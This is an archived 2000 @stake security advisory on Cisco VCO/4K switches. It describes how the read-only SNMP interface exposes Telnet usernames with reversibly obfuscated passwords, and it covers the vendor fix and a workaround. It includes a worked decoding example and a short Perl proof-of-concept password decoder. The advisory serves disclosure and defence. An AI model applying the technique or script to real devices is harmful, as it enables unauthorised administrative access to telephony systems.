exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

A102600-1.txt

A102600-1.txt
Posted Oct 31, 2000
Authored by David Goldsmith, Brian Carrier, Rex Warren | Site atstake.com

Atstake security advisory - This advisory describes a vulnerability that exists in Cisco Systems Virtual Central Office 4000 (VCO/4K). There is a vulnerability in the SNMP interface that allows an attacker to enumerate username and obfuscated password pairs for the Telnet interface. Since the obfuscation method used on the passwords is reversible, administrative access to the VCO/4K can be obtained. Perl proof of concept exploit included.

tags | perl, proof of concept
systems | cisco
SHA-256 | 7efd12964efef16b759d3fcdb2af9a30829c39d81b2e68ec5426c943032bfa96

A102600-1.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


@stake, Inc.
www.atstake.com

Security Advisory


Advisory Name: Cisco VCO/4000 SNMP Username and Password Retrieval
Release Date: 10/26/2000
Application: N/A
Platform: Cisco (Formerly Summa Four) VCO/4K software version 5.1.3 and
below
Severity: An attacker can obtain login and password credentials
to the administrative interfaces with the read-only
community string.
Author(s): David Goldsmith <daveg@atstake.com>
Brian Carrier <bcarrier@atstake.com>
Rex Warren <rex@atstake.com>
Vendor Status: Software upgrade available
Web: www.atstake.com/research/advisories/2000/A102600-1.txt


Overview:

This advisory describes a vulnerability that exists in Cisco Systems'
Virtual Central Office 4000 (VCO/4K). The VCO/4K is a programmable switch
that provides numerous telephony capabilities including voice services,
switching for wireless and wireline networks, and circuit/packet-switched
network gateway services. The VCO/4K can be administered via several
TCP/IP interfaces, including Telnet and SNMP. There is a vulnerability in
the SNMP interface that allows an attacker to enumerate username and
obfuscated password pairs for the Telnet interface. Since the obfuscation
method used on the passwords is reversible, administrative access to the
VCO/4K can be obtained.


Detailed Description:

If an attacker knows the read-only community string of a VCO/4K,
then they can obtain a list of users and their obfuscated passwords.
The obfuscation can be easily reversed, allowing an attacker to obtain
additional privileges on the VCO/4K.

The SNMP MIB of the VCO/4K contains, among other data, a list of
usernames and passwords. These entries start at:

[ ... ]
enterprises.886.1.1.1.1.2.1 = "someuser"
enterprises.886.1.1.1.1.3.1 = 0
enterprises.886.1.1.1.1.4.1 = ".At4Cqq"
enterprises.886.1.1.1.1.5.1 = 0
[ ... ]

The enterprises.886.1.1.1.1.2.1 entry is the first username, with
enterprises.886.1.1.1.1.4.1 being the corresponding (albeit obfuscated)
password.

The password obfuscation algorithm is a substitution cipher that
replaces each ASCII character by one that is 164 places away. For
historical reasons, we will call this ROT164():

ROT164(X) = 164 - X

Using the example above:

ROT164(".") = 164 - 046 = 118 => "v"
ROT164("A") = 164 - 065 = 099 => "c"
ROT164("t") = 164 - 116 = 048 => "0"
ROT164("4") = 164 - 052 = 112 => "p"
ROT164("C") = 164 - 067 = 097 => "a"
ROT164("q") = 164 - 113 = 051 => "3"
ROT164("q") = 164 - 113 = 051 => "3"


Temporary Solution:

If SNMP is not required on the VCO/4K, then disable the service. If
it is required, then verify that the community string is difficult to
guess and that access to it is restricted.


Vendor Response:

Cisco Systems is aware of the vulnerability reported by @stake and has
prepared two software releases to address the problem. In Cisco VCO/4K
software version 5.1.4, the display of the usernames and encrypted
passwords has been removed from SNMP responses. Version 5.2, to be
released in early December, also includes enhancements replacing the weak
password encryption with MD5 -- similar to Type 5 passwords in Cisco
IOS -- as well as general improvements to access control.

The Cisco PSIRT appreciates the efforts made by @stake in
communicating this vulnerability to us and working with us to resolve it.


Proof-of-Concept Code:

The decryption code was written in PERL by Rex Warren. Due to the
cyclic properties of ROT164, the program accepts both the plaintext and
the obfuscated password as standard input and returns the opposite
version.

<--- cut here --->
#!/usr/bin/perl

printf ("Cisco VCO/4K Password [De]Obfuscator\n");
printf ("\t\@stake, Inc.\n");
printf ("\tRex Warren, Brian Carrier, David Goldsmith\n");

printf ("Enter Password: ");
$pw = <STDIN>;
chop $pw;

printf("Result: ");
for ($pos = 0; $pos < length($pw); $pos++){
printf("%s", chr(164 - ord(substr($pw, $pos, 1))));
}
printf("\n");

<--- cut here --->

For more advisories: http://www.atstake.com/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc

Copyright 2000 @stake, Inc. All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOfim6FESXwDtLdMhEQJNBQCg/+qtlAhZhBTkyS0NM79IgslLstkAmgJ1
QJWVuPg3wpwnN+3NBLCm7kpJ
=KyIB
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close